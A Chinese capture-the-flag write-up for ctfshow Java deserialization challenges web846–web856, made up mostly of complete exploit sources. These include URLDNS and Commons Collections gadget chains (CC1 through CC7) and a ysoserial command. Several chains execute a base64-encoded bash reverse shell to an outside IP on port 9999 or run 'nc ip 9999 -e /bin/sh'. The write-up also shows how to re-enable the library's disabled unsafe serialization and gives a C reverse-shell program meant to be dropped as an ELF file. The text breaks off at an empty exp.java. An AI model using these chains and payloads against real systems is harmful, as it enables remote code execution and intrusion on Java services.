ctfshow–Java反序列化

web846

打urldns链就行,他检测到有dns请求即可

URLDNS.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//Person person = new Person("username",11);
//System.out.println(person);
HashMap<URL,Integer> hashMap = new HashMap<>();
//这里不要发起请求,把url对象的hashcode改成不是-1
URL url = new URL("https://6de95784-0596-4d43-b998-47886e2ced2c.challenge.ctf.show/");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,123);
hashMap.put(url,1);
hashcodefield.set(url,-1);
serialize(hashMap);
}
}

URLdns.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class URLDNSun {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//Person person = (Person) unserialize("ser.bin");
//System.out.println(person);
// unserialize("ser.bin");
String filePath = "./ser.bin";
byte[] classBytes = Files.readAllBytes(Paths.get(filePath));
String encoded = Base64.getEncoder().encodeToString(classBytes);
System.out.println(encoded);
}
}

web847

打cc1即可

当时用基础的cc1没打通报错,出现这样的报错

image-20240506195508712

很奇怪,链子都生成不出来,

就在我绞尽脑汁之际,我找到了解决办法,出现的情况是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeWriteObject(ObjectStreamClass.java:1028)
at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1496)
at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)
at java.io.ObjectOutputStream.writeArray(ObjectOutputStream.java:1378)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1174)
at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)
at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509)
at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)
at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)
at java.io.ObjectOutputStream.defaultWriteObject(ObjectOutputStream.java:441)
at org.apache.commons.collections.map.TransformedMap.writeObject(TransformedMap.java:128)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeWriteObject(ObjectStreamClass.java:1028)
at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1496)
at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)
at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)
at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509)
at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)
at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348)
at CC1Test1.serialize(CC1Test1.java:44)
at CC1Test1.main(CC1Test1.java:37)

这个异常是因为Apache Commons Collections为了防止不安全的反序列化攻击,从版本4.1开始默认禁用了一些类的序列化支持。InvokerTransformer就是其中之一。

在代码里添加一句

1
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

启用org.apache.commons.collections.enableUnsafeSerialization就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC1Test1 {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
//构造transformers调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o =constructor.newInstance(Target.class,transformedMap);

serialize(o);
// unserialize("ser.bin");
}

//这里改动了一下序列化,读取字节流,以base64形式打印数据
public static void serialize(Object obj) throws IOException {
ByteArrayOutputStream data=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));

}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

web848

cc1的另一个版本cc6的基础版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.jndi.url.corbaname.corbanameURLContextFactory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;

public class CC6Test1 {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Transformer[] transformers;
transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"}),

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazydMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazydMap,"a");

HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazydMap.remove("a");


Class<LazyMap> c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazydMap,chainedTransformer);

serialize(map2);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ByteArrayOutputStream data=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}

//反序列化方法
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

web849

看版本只有cc2和cc4可以用了,打了cc2和cc4我都试了,能nc到但过不来shell,懵逼。。。。

image-20240507112134088

nc命令是nc ip 9999 -e /bin/sh

真是奇怪了,好吧历经2个半小时,我终于缓过神来了

忘记他弹过来的是sh不是bash没有前面的类似于root@….的,就以为没弹shell,呜呜呜,我傻了

cc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

import java.util.PriorityQueue;


public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class c= TemplatesImpl.class;
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Q1ngchuan");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
// 由于还没进行反序列化,所以手动给_tfactory赋值
// Field tfactory = c.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
//
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class tc=transformingComparator.getClass();
Field comparator = tc.getDeclaredField("transformer");
comparator.setAccessible(true);
comparator.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);

}
public static void serialize(Object obj) throws IOException {
ByteArrayOutputStream data=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));

}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

web850

1
2
3
4
5
6
7
8
9
提交**ctfshow**参数进行base64解码
然后进行反序列化
我是java7,使用了**commons-collections 3.1**的库并对一些可能有危险的类进行了封禁,
为了保证业务安全,我删除了nc和curl命令



下面是我接收参数的代码
`data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));`

版本回去了,封禁了一些类,前面用了cc1 cc2 试试cc3

这题因为java7版本,编译恶意类需要java7版本,否则系统无法识别,这里我借用了工具

1
java -jar ysoserial.jar  CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" |base64

web851

cc6改版的,从3.2.1版本的cc链转化为4.0版本时,主要修改的部分有:

import org.apache.commons.collections.*改成import org.apache.commons.collections4.*

LazyMap.decorate换成LazyMap.lazyMap就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "nc ip 9999 -e /bin/sh" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

// 生成序列化字符串
ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(expMap);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
}

web852

同上

web853

死活打不通了,弹不过来shell,奇怪。。。。

解决了,大概率是我前面nc太多,服务器出问题了,重启了一下直接好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;

public class CC7 {
public static void main(String[] args) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc ip 9999 -e /bin/sh"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
DefaultedMap defaultedMap1 = declaredConstructor.newInstance(innerMap1, transformerChain);
DefaultedMap defaultedMap2 = declaredConstructor.newInstance(innerMap2, transformerChain);
defaultedMap1.put("yy",1);
defaultedMap2.put("zZ",1);
// Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
// lazyMap1.put("yy", 1);
//
// Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
// lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 2);

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
defaultedMap2.remove("yy");
serialize(hashtable);
// unserialize("ser.bin");
String res=encryptToBase64("ser.bin");
System.out.println(res);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
public static String encryptToBase64(String filePath) {
if (filePath == null) {
return null;
}
try {
byte[] b = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(b);
} catch (IOException e) {
e.printStackTrace();
}

return null;
}
}

web854

野链之一

cc4+cc6

cc4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));
byte codes[][]= {code};
bytecodeField.set(templates,codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
//chainedTransformer.transform(1);
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
//TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue= new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");



}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
/*
写对象,序列化
*/
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
/*
读对象,反序列化
*/
return obj;
}

}

cc6(注意这里是4.0版本的cc6)

1
2
3
4
5
6
7
8
9
10
11
12
13
Map innerMap1 = new HashMap();
HashMap map=new HashMap();
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
DefaultedMap defaultedMap = declaredConstructor.newInstance(innerMap1, transformerChain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(defaultedMap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);

cc4_cc6.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class cc4_cc6 {
public static void main(String[] args) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc ip 9999 -e /bin/sh"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap1 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
HashMap map=new HashMap();
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
DefaultedMap defaultedMap = declaredConstructor.newInstance(innerMap1, transformerChain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(defaultedMap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);

ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(hashMap);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
}

web855

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package com.ctfshow.entity;

import java.io.*;

public class User implements Serializable {
private static final long serialVersionUID = 0x36d;
private String username;
private String password;

public User(String username, String password) {
this.username = username;
this.password = password;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}


private static final String OBJECTNAME="ctfshow";
private static final String SECRET="123456";

private static String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME;



private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
int magic = in.readInt();
if(magic==2135247942){
byte var1 = in.readByte();

switch (var1){
case 1:{
int var2 = in.readInt();
if(var2==0x36d){

FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME);
fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46});
byte[] temp = new byte[1];
while((in.read(temp))!=-1){
fileOutputStream.write(temp);
}

fileOutputStream.close();
in.close();

}
break;
}
case 2:{

ObjectInputStream.GetField gf = in.readFields();
String username = (String) gf.get("username", null);
String password = (String) gf.get("password",null);
username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
User var3 = new User(username,password);
User admin = new User(OBJECTNAME,SECRET);
if(var3 instanceof User){
if(OBJECTNAME.equals(var3.getUsername())){
throw new RuntimeException("object unserialize error");
}
if(SECRET.equals(var3.getPassword())){
throw new RuntimeException("object unserialize error");
}
if(var3.equals(admin)){
Runtime.getRuntime().exec(shellCode);
}
}else{
throw new RuntimeException("object unserialize error");
}
break;
}
default:{
throw new RuntimeException("object unserialize error");
}
}
}

}

@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof User)) return false;
User user = (User) o;
return this.hashCode() == user.hashCode();
}

@Override
public int hashCode() {
return username.hashCode()+password.hashCode();
}


}

我们先分晰一下源码,

image-20240508191832485

先看case1,这里读取var2的值,如果是0x36d,将内容写入Objectname,限制了文件头内容为0x7f, 0x45, 0x4c, 0x46}

再来看看case2

image-20240508192044118

这里很显眼的有个Runtime.getRuntime().exec(shellCode);那显然就是要控制shellcode了,首先,从输入流中区获取username和password,还对其进行了一些替换,移除了一些特殊字符(

接着,常见一个对像admin ,密码为secret,然后就是检查用户名和密码,都对了的话才会触发Runtime。可是这也没看着能控制shellcode的地方啊image-20240508192647563

这里也写的死死的,看了yu师傅的博客,发现讲前面文件头的内容和shellcode结合在一起就会有危害,就是利用写入elf文件执行程序,

接着如果执行shellcode命令则会给该文件一个权限并且执行。
可执行程序可以通过写一个c文件再gcc进行编译。

1
2
3
4
5
#include<stdlib.h>
int main() {
system("nc ip port -e /bin/sh");
return 0;
}

我们先来生成该恶意文件gcc a.c -o hack,接着把文件的前四字节删掉(可以用010editor)

image-20240508193157025

接着利用反序列化写入,前面有几个if,我们可以重写writeObject写入

后面懵了

Web856

connection.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package com.ctfshow.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Objects;

public class Connection implements Serializable {

private static final long serialVersionUID = 2807147458202078901L;

private String driver;

private String schema;
private String host;
private int port;
private User user;
private String database;

public String getDriver() {
return driver;
}

public void setDriver(String driver) {
this.driver = driver;
}

public String getSchema() {
return schema;
}

public void setSchema(String schema) {
this.schema = schema;
}

public void setPort(int port) {
this.port = port;
}

public String getHost() {
return host;
}

public void setHost(String host) {
this.host = host;
}


public User getUser() {
return user;
}

public void setUser(User user) {
this.user = user;
}

public String getDatabase() {
return database;
}

public void setDatabase(String database) {
this.database = database;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
ObjectInputStream.GetField gf = in.readFields();
String host = (String) gf.get("host", "127.0.0.1");
int port = (int) gf.get("port",3306);
User user = (User) gf.get("user",new User("root","root"));
String database = (String) gf.get("database", "ctfshow");
String schema = (String) gf.get("schema", "jdbc:mysql");
DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername());
}

@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof Connection)) return false;
Connection that = (Connection) o;
return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database);
}

@Override
public int hashCode() {
return Objects.hash(host, port, user, database);
}
}

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.ctfshow.entity;

import java.io.*;

public class User implements Serializable {
private static final long serialVersionUID = -7205095498817563965L;
private String username;
private String password;

public User(String username, String password) {
this.username = username;
this.password = password;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}


@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof User)) return false;
User user = (User) o;
return this.hashCode() == user.hashCode();
}

@Override
public int hashCode() {
return username.hashCode()+password.hashCode();
}




}

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
